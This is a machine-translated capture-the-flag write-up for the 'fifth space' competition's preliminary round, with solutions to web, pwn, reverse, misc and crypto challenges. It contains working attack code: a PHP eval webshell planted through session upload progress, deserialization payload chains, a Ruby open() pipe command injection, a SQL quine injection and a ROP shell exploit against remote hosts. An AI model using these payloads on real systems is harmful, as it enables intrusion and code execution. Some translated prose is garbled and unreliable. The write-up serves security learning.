Preliminary competition of the third "fifth space" cyber security competition
Official account: Th0r security
web
-
webftp
Sweep path to 1 txt. .
Direct access 1 Txt can see the flag, because it is a static target, so it should be put in by other masters. I dare not say and I dare not ask.
f1ag{g28F28EPTjRoxM9sNBDtMS3ZPuIPXL6A}
-
EasyCleanup
Open is the source code. See that any file contains, as well as command execution.
First pass? mode=eval can assign the shell phpinfo to view the session information
Here is the session upload_ progress. Cleanup is off, and session files will not be automatically cleared
So it should be possible to use session upload_ Progress contains files. The file length is limited to 15, which only needs to be controlled in exp
PHPSEEID can be a little shorter
import io import requests import threading sessid = 'aa' def write_session(session): url = 'http://114.115.134.72:32770/index.php' f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://127.0.0.1/session.php?file=/tmp/sess_'+sessid, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files= {'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} ) if __name__ == '__main__': with requests.session() as session: write_session(session)
At this time, the session file has been written, and the path should be / TMP / sessions_ aa
We try to include
Successful command execution
system(‘cat /*’); Get the flag.
flag{8b39ace789479585ae8b1e16c113161a}
-
ppklovecloud
Open the source code
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
Simple deserialization
get passes the pks parameter for deserialization. The following echo is performed for the instance generated by deserialization. There are in the acp class__ toString method, so the starting point is acp class
Keep looking__ toString
function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); }
Here, you can arbitrarily control the value of $this - > cinder and call its echo_name() method, which is available in ace class. So control $this - > cinder = new ace()
Look at this method
function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } }
As long as $this - > openstack - > neutron = = = $this - > openstack - > nova, then control $this - > filename to read any file. See how these two values come from $this - > openstack is deserialized by $this - > docker. Nova and neutron variables exist in acp class, so control $this - > docker as the serialization string of acp class. Here, $this - > openstack - > neutron = $heat assigns neutron to the nonexistent variable $heat, which becomes null, so both variables of acp class can be assigned null.
poc
Run first
<?php class acp { protected $cinder; public $neutron; public $nova; public function __construct(){ $this->neutron = ''; $this->nova = '' ; } } $A = new acp(); echo urlencode(serialize($A));
result
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%2 2%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D
after
<?php class acp { protected $cinder; public $neutron; public $nova; public function __construct(){ $this->neutron = ''; $this->nova = '' ; $this->cinder = new ace(); } } class ace { public $filename; public $openstack; public $docker; public function __construct(){ $this->filename = 'flag.php'; $this->docker = 'O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutr on%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D';//Previous poc result } } $A = new acp(); echo urlencode(serialize($A)); O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3 %3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22% 3BN%3Bs%3A6%3A%22docker%22%3Bs%3A145%3A%22O%253A3%253A%2522acp%2522%253A3%253A%2 57Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253Bs%253A7%253A%2522neutro n%2522%253Bs%253A0%253A%2522%2522%253Bs%253A4%253A%2522nova%2522%253Bs%253A0%253 A%2522%2522%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A% 22nova%22%3Bs%3A0%3A%22%22%3B%7D
After passing the parameters, find the flag in the f12 source code
The heat variable is in flag PHP.. It includes (flag.php). I don't know why I can get through
flag{fXM75u5IqcaEwdIibN4DOpHGGnyi}
-
PNG Picture Converter
Attachment download source code
require 'sinatra' require 'digest' require 'base64' get '/' do open("./view/index.html", 'r').read() end get '/upload' do open("./view/upload.html", 'r').read() end post '/upload' do unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png' return "<script>alert('error');location.href='/upload';</script>" end begin filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file] [:filename]) + '.png' open(filename, 'wb') { |f| f.write open(params[:file][:tempfile],'r').read() } "Upload success, file stored at #{filename}" rescue 'something wrong' end end get '/convert' do open("./view/convert.html", 'r').read() end post '/convert' do begin unless params['file'] return "<script>alert('error');location.href='/convert';</script>" end file = params['file'] unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "<script>alert('dont hack me');</script>" end res = open(file, 'r').read() headers 'Content-Type' => "text/html; charset=utf-8" "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n" rescue 'something wrong' end end
The source code is ruby
There is an upload and a conversion.
Upload files are filtered here. The extension name must be png. After a test, it doesn't seem to go around
Create a png file and write something to see.
upload
The base64 encoding information of the picture is obtained. This string of Base64 codes is the content of the file we uploaded. I have no idea here, but I feel that I have been prompted here in the source code of / convert
The passed in file parameter is also filtered here. It cannot contain... And / or prevent directory traversal, so the file should not be read. But they all prompt don hack me, and the file name and content are completely controllable. I feel that something can be done here. I looked online
This article is about the vulnerability of the Net::FTP module, but it is mentioned here
The open function uses the system command to open the file without filtering shell characters. As a result, any command can be injected when the user controls the file name. The pipeline character begins with "|" and executes the command after the pipeline character In other words, ruby's open function can lead to command execution. Let's look at the logic
As long as the above filtering requirements are met, the file parameter can be directly spliced into the open function to cause command injection. As for how to echo, we can consider writing to the file here. First upload an empty file and get the file name 56724dcaa4f075510b8171002d2a36a6 png .
Construct in / convert
file=|echo `whoami`> 56724dcaa4f075510b8171002d2a36a6.png
No error was reported.
Let's read 56724dcaa4f075510b8171002d2a36a6 directly Content of png
Decode it
If the command is executed successfully, the flag should be in the root directory, because the / filter is considered to be written in base64 coding, and then executed in SH. If sh, there must be two png files. Upload another one and remember the file name
405391431ca1ac9b33f35add1f4ef55c.png. Step 1: file = |echo "y2f0ic8q" |base64 - d > 0784368baeb4d0a58b04309f20df6f2e Pngy2f0ic8q is the base64 encoding of cat / *, and then execute file = |sh0784368baeb4d0a58b04309f20df6f2e png>405391431ca1ac9b33f35add1f4ef55c.png finally directly reads file = 405391431cac9b33f35add1f4ef55c png
See the data echo
Decode it
flag{Tvauy36vE0Mwt9WYOZVOR3dlNT9JTiX4}
-
yet_another_mysql_injection
It's a login interface.
Tips in the source code. visit? Source to see the source code
At first, I thought it was a simple sql injection. All the information can be injected with benchmark() time blind injection, but the flag is not in the database. Then I thought it was not found in the sys system library. That should be a different idea. Take a look at the logic of getting the flag.
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); } }
In the users table, the query condition for password is username ='admin 'and password =' $password ', which is the value we passed. The query result is then strongly compared with the password we passed. If it is equal, die($FLAG); In other words, we need to construct an sql statement so that the query statement and the output result are exactly the same.
https://www.shysecurity.com/post/20140705-SQLi-Quine
This article is very clear, and the payload in it can be used directly. Just ensure that the internal statements of the replace function are replaced followed by external consistency.
payload of the original text
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
/ * * / is used to filter the spaces. Because we are using union injection for joint query, quotation marks + Union and the closing comment character #, which is used in the front of the statement, are added? replace
,
this
only
yes
rise
reach
occupy
position
symbol
of
do
use
.
because
by
, this is just a placeholder. because
, this is just a placeholder. Because it was replaced with?, So the third char(39) is replaced by char (63) Replace Quine with in.
Changed payload
UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR (34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/** /SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/** /AS/**/a#
Directly post the following data
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/** /REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR (39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR( 63),"?")/**/AS/**/a#')/**/AS/**/a#
flag{4xTfpXWtBbrSNtCB48S39jtyHfIUylIh}
pwn
-
bountyhunter
Very basic stack overflow constructs rop to get shell, uses pop rdi as a gadget to pass in parameters, and finally gets shell
from pwn import* io = remote("139.9.123.168",32548) elf = ELF('./pwn') libc = elf.libc pop_rdi = 0x040120b bin_sh_addr = 0x403408 system_addr = 0x40115C payload = '' payload += p64(pop_rdi) io.sendline(b'A'*0x90 + p64(0) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)) io.interactive()
flag{GXaaWi8DWieSxP4IeOlLCSWLTe0G}
RE
-
StrangeLanguage
Python packaged pyd file
Unpack according to normal process
import brainfuck brainfuck.main_check()
Finally called the pyd file, similar to the dll file.
Ida open search string
The online search is brainfuck encryption. The online script is used to convert python. After opening, there are thousands of lines of code. There is a flag header in front, followed by encryption, S[i]=S[i]^S[i+1], and the string is dynamically adjusted to write the script
#include<stdio.h> #include<string.h> char s[100]={ 83,15,90,84,80,85,3,2,0,7,86,7,7,91,9,0,80,5,2,3,93,92,80,81,82,84,90,95,2,87,7, 52}; char q[100]; int main(){ for(int i=30;i>=0;i--){ s[i]=s[i]^s[i+1]; } for(int i=0;i<=30;i++){ q[i]=s[i]; } q[31]=52; puts(q); return 0; }
flag{d78b6f30225cdc811adfe8d4e7c9fd34}
misc
-
alpha10
Download the attachment to get alpha10 Data, and then the foremost is separated
A jpg picture, a png picture
The two images are the same. I guess it should be a blind watermark. It can be separated by using bwm script.
bwm script address: https://github.com/chishaxie/BlindWaterMark
Named 1 Jpg and 1 Png BWM script separation
Command Python bwmforpy3 py decode 1. jpg 1. png flag. png
You get the flag png
Very mushy, but you can vaguely see words. It should be flag. Try using Stegsolve to flag Compare PNG with himself
MUL(R,G,B separate) channel should be the clearest. Look with the naked eye and get the flag after blind guessing
flag{XqAe3QzK2ehD5fWv8jfBitPqHUw0}
-
Sign in
flag{welcometo5space}
crypto
-
ecc
The first topic is to find the discrete logarithm directly, and the second topic is to find pohlig according to the tips of the source code_ For Hellman attack, you can directly find the library. For SSSA attack, you can find the script smartattack. 2,3 script github is a ready-made pohlig_hellman
from sage.all import * def pohlig_hellman(curve, G, H, verbose=False): def log(*args, **kwargs): if verbose: print(*args, **kwargs) n = curve.order() log(f"Order = {n}") factors = factor(n, verbose=1 if verbose else 0) log(f"Factorization: {factors}") v = [] moduli = [] # 1. Decompose one DLP to many DLPs for p_i, e_i in factors[:-1]: log(f"{p_i}**{e_i}: ", end="") order = p_i ** e_i # Order of new group moduli.append(order) power = n // order # Power to make new generator and point G_i = G * power H_i = H * power x_i = G_i.discrete_log(H_i, order) # H_i = x_i*G_i mod p_i**e_i log(x_i) v.append(x_i) # 2. Use CRT to solve congruences x = x_i mod p_i**e_i x = CRT_list(v, moduli) return x % n
smartattack
from sage.all import EllipticCurve from sage.all import Qp from sage.all import ZZ # Lifts a point to the p-adic numbers. def _lift(curve, point, gf): x, y = map(ZZ, point.xy()) for point_ in curve.lift_x(x, all=True): x_, y_ = map(gf, point_.xy()) if y == y_: return point_ def attack(base, multiplication_result): """ Solves the discrete logarithm problem using Smart's attack. More information: Smart N. P., "The discrete logarithm problem on elliptic curves of trace one" :param base: the base point :param multiplication_result: the point multiplication result :return: l such that l * base == multiplication_result """ curve = base.curve() gf = curve.base_ring() p = gf.order() assert curve.trace_of_frobenius() == 1, f"Curve should have trace of Frobenius = 1." lift_curve = EllipticCurve(Qp(p), list(map(lambda a: int(a) + p * ZZ.random_element(1, p), curve.a_invariants()))) lifted_base = p * _lift(lift_curve, base, gf) lifted_multiplication_result = p * _lift(lift_curve, multiplication_result, gf) lb_x, lb_y = lifted_base.xy() lmr_x, lmr_y = lifted_multiplication_result.xy() return int(gf((lmr_x / lmr_y) / (lb_x / lb_y)))
flag{025ab3d9-2521-4a81-9957-8c3381622434}
-
doublesage
Observe his questions 1 and 2. The errors are relatively loose, so directly connect them and hit them with the last vector. After several times, they passed the first level, and the directly copied c passed the second level.
It's unexpected
flag{tdhOh8zCMmH5m4i8bKUeTqhFdWQH}